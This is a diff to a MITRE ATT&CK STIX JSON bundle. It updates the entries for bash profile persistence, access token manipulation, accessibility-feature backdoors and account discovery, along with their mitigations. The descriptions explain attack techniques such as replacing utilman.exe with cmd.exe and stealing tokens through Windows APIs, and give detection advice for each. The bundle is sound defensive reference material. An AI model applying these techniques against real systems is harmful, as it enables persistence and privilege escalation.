 {
     "type": "bundle",
-    "id": "bundle--a84f0b6b-0f9a-46bd-80c8-0b15f5693968",
+    "id": "bundle--372f553b-f787-414a-a7e1-f0239732dc11",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--4f170666-7edb-4489-85c2-9affa28a72e0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": ".bash_profile and .bashrc Mitigation",
             "description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.",
             "external_references": [
@@ -24,9 +24,9 @@
             "id": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": ".bash_profile and .bashrc",
-            "description": "<code>~/.bash_profile</code> and <code>~/.bashrc</code> are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. <code>~/.bash_profile</code> is executed for login shells and <code>~/.bashrc</code> is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), <code>~/.bash_profile</code> is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, <code>~/.bashrc</code> is executed. This allows users more fine grained control over when they want certain commands executed.\n\nMac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling <code>~/.bash_profile</code> each time instead of <code>~/.bashrc</code>.\n\nThese files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell.\n\nDetection: While users may customize their <code>~/.bashrc</code> and <code>~/.bash_profile</code> files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network\n\nPermissions Required: User, Administrator",
+            "description": "<code>~/.bash_profile</code> and <code>~/.bashrc</code> are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. <code>~/.bash_profile</code> is executed for login shells and <code>~/.bashrc</code> is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), <code>~/.bash_profile</code> is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, <code>~/.bashrc</code> is executed. This allows users more fine grained control over when they want certain commands executed.\n\nMac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling <code>~/.bash_profile</code> each time instead of <code>~/.bashrc</code>.\n\nThese files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell.\n\nDetection: While users may customize their <code>~/.bashrc</code> and <code>~/.bash_profile</code> files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network\n\nPermissions Required: User, Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -55,23 +55,32 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--c61fee9f-16fb-4f8c-bbf0-869093fcd4a6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Access Token Manipulation Mitigation",
-            "description": "Access tokens are an integral part of the security system within Windows and cannot be turned off.  However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.\n\nAny user can also spoof access tokens if they have legitimate credentials.  Follow mitigation guidelines for preventing adversary use of Valid Accounts.\n\nAlso limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.",
+            "description": "Access tokens are an integral part of the security system within Windows and cannot be turned off.  However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.\n\nAny user can also spoof access tokens if they have legitimate credentials.  Follow mitigation guidelines for preventing adversary use of Valid Accounts. Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)\n\nAlso limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
                     "url": "https://attack.mitre.org/wiki/Technique/T1134",
                     "external_id": "T1134"
+                },
+                {
+                    "source_name": "Microsoft Create Token",
+                    "description": "Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.",
+                    "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object"
+                },
+                {
+                    "source_name": "Microsoft Replace Process Token",
+                    "description": "Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.",
+                    "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token"
                 }
             ]
         },
@@ -80,9 +89,9 @@
             "id": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Access Token Manipulation",
-            "description": "Windows uses access tokens to determine the ownership of a running process.  A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process.  When this occurs, the process also takes on the security context associated with the new token.  For example, Microsoft promotes the use of access tokens as a security best practice.  Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.  (Citation: Microsoft runas)\n  \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection.   An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing.  An adversary must already be in a privileged user context (i.e. administrator) to steal a token.  However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. (Citation: Pentestlab Token Manipulation)\n\nAdversaries can also create spoofed access tokens if they know the credentials of a user.  Any standard user can use the <code>runas</code> command, and the Windows API functions, to do this; it does not require access to an administrator account.\n\nLastly, an adversary can use a spoofed token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.\n\nMetasploit\u2019s Meterpreter payload allows arbitrary token stealing and uses token stealing to escalate privileges.  (Citation: Metasploit access token)  The Cobalt Strike beacon payload allows arbitrary token stealing and can also create tokens.  (Citation: Cobalt Strike Access Token)\n\nDetection: If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity.  Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows. (Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.  \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code> (Citation: Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code> (Citation: Microsoft ImpersonateLoggedOnUser)).  Please see the referenced Windows API pages for more information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nEffective Permissions: SYSTEM\n\nPermissions Required: User, Administrator\n\nContributors: Tom Ueltschi @c_APT_ure",
+            "description": "Windows uses access tokens to determine the ownership of a running process.  A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process.  When this occurs, the process also takes on the security context associated with the new token.  For example, Microsoft promotes the use of access tokens as a security best practice.  Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.  (Citation: Microsoft runas)\n  \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing.  An adversary must already be in a privileged user context (i.e. administrator) to steal a token.  However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation)\n\nAccess tokens can be leveraged by adversaries through three methods: (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n'''Token Impersonation/Theft''' - An adversary creates a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user's security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.\n\n'''Create Process with a Token''' - An adversary creates a new access token with <code>DuplicateToken(Ex)</code> and uses it with <code>CreateProcessWithTokenW</code> to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.\n\n'''Make and Impersonate Token''' - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the <code>LogonUser</code> function. The function will return a copy of the new session's access token and the adversary can use <code>SetThreadToken</code> to assign the token to a thread.\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.\n\nMetasploit\u2019s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges.  (Citation: Metasploit access token)  The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens.  (Citation: Cobalt Strike Access Token)\n\nDetection: If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity.  Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows. (Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.  \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code> (Citation: Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code> (Citation: Microsoft ImpersonateLoggedOnUser)).  Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account. (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Access Tokens\n\nEffective Permissions: SYSTEM\n\nPermissions Required: User, Administrator\n\nContributors: Tom Ueltschi @c_APT_ure, Travis Smith, Tripwire, Jared Atkinson, @jaredcatkinson, Robby Winchester, @robwinchester3",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -138,42 +147,43 @@
                     "source_name": "Microsoft ImpersonateLoggedOnUser",
                     "description": "Microsoft TechNet. (n.d.).  Retrieved April 25, 2017.",
                     "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx"
+                },
+                {
+                    "source_name": "BlackHat Atkinson Winchester Token Manipulation",
+                    "description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.",
+                    "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Tom Ueltschi @c_APT_ure"
+                "Tom Ueltschi @c_APT_ure",
+                "Travis Smith, Tripwire",
+                "Jared Atkinson, @jaredcatkinson",
+                "Robby Winchester, @robwinchester3"
             ],
-            "x_mitre_effective_permissions": [
-                "SYSTEM"
+            "x_mitre_data_sources": [
+                "API monitoring",
+                "Access Tokens"
             ],
             "x_mitre_permissions_required": [
                 "User",
                 "Administrator"
             ],
+            "x_mitre_effective_permissions": [
+                "SYSTEM"
+            ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--c085476e-1964-4d7f-86e1-d8657a7741e8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Accessibility Features Mitigation",
             "description": "To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)\n\nIf possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)\n\nIdentify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -224,9 +234,9 @@
             "id": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:26.946Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Accessibility Features",
-            "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n*On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n*Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n*Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n*Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n*App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>\n\nDetection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options</code>.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator\n\nContributors: Paul Speulstra, AECOM Global Security Operations Center",
+            "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n*On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n*Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n*Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n*Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n*App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>\n\nDetection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options</code>.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator\n\nContributors: Paul Speulstra, AECOM Global Security Operations Center",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -273,32 +283,21 @@
             "x_mitre_effective_permissions": [
                 "SYSTEM"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
-            ],
             "x_mitre_permissions_required": [
                 "Administrator"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--5c49bc54-9929-48ca-b581-7018219b5a97",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Account Discovery Mitigation",
-            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
+            "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located <code>HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
@@ -311,24 +310,29 @@
                     "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                 },
                 {
-                    "source_name": "Windows Commands JPCERT",
-                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
-                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
+                    "source_name": "Corio 2008",
+                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
+                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                 },
                 {
                     "source_name": "NSA MS AppLocker",
                     "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                     "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                 },
-                {
-                    "source_name": "Corio 2008",
-                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
-                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
-                },
                 {
                     "source_name": "TechNet Applocker vs SRP",
                     "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                     "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
+                },
+                {
+                    "source_name": "UCF STIG Elevation Account Enumeration",
+                    "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.",
+                    "url": "https://www.stigviewer.com/stig/microsoft%20windows%20server%202012%20member%20server/2013-07-25/finding/WN12-CC-000077"
+                },
+                {
+                    "source_name": "Windows Commands JPCERT",
+                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
+                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                 }
             ]
         },
@@ -337,9 +341,9 @@
             "id": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:06.988Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Account Discovery",
-            "description": "Adversaries may attempt to get a listing of local system or domain accounts. \n\n===Windows===\n\nExample commands that can acquire this information are <code>net user</code>, <code>net group <groupname></code>, and <code>net localgroup <groupname></code> using the Net utility or through use of dsquery. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply.\n\n===Mac===\n\nOn Mac, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.\n\n===Linux===\n\nOn Linux, local users can be enumerated through the use of the <code>/etc/passwd</code> file which is world readable. In mac, this same file is only used in single-user mode in addition to the <code>/etc/master.passwd</code> file.\n\nAlso, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User",
+            "description": "Adversaries may attempt to get a listing of local system or domain accounts. \n\n===Windows===\n\nExample commands that can acquire this information are <code>net user</code>, <code>net group <groupname></code>, and <code>net localgroup <groupname></code> using the Net utility or through use of dsquery. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply.\n\n===Mac===\n\nOn Mac, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.\n\n===Linux===\n\nOn Linux, local users can be enumerated through the use of the <code>/etc/passwd</code> file which is world readable. In mac, this same file is only used in single-user mode in addition to the <code>/etc/master.passwd</code> file.\n\nAlso, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User\n\nContributors: Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -356,6 +360,9 @@
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
+            "x_mitre_contributors": [
+                "Travis Smith, Tripwire"
+            ],
             "x_mitre_data_sources": [
                 "API monitoring",
                 "Process command-line parameters",
@@ -365,29 +372,17 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--fdb1ae84-7b00-4d3d-b7dc-c774beef6425",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Account Manipulation Mitigation",
             "description": "Use multifactor authentication. Follow guidelines to prevent or limit adversary access to Valid Accounts.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.",
             "external_references": [
@@ -403,9 +398,9 @@
             "id": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:12.196Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Account Manipulation",
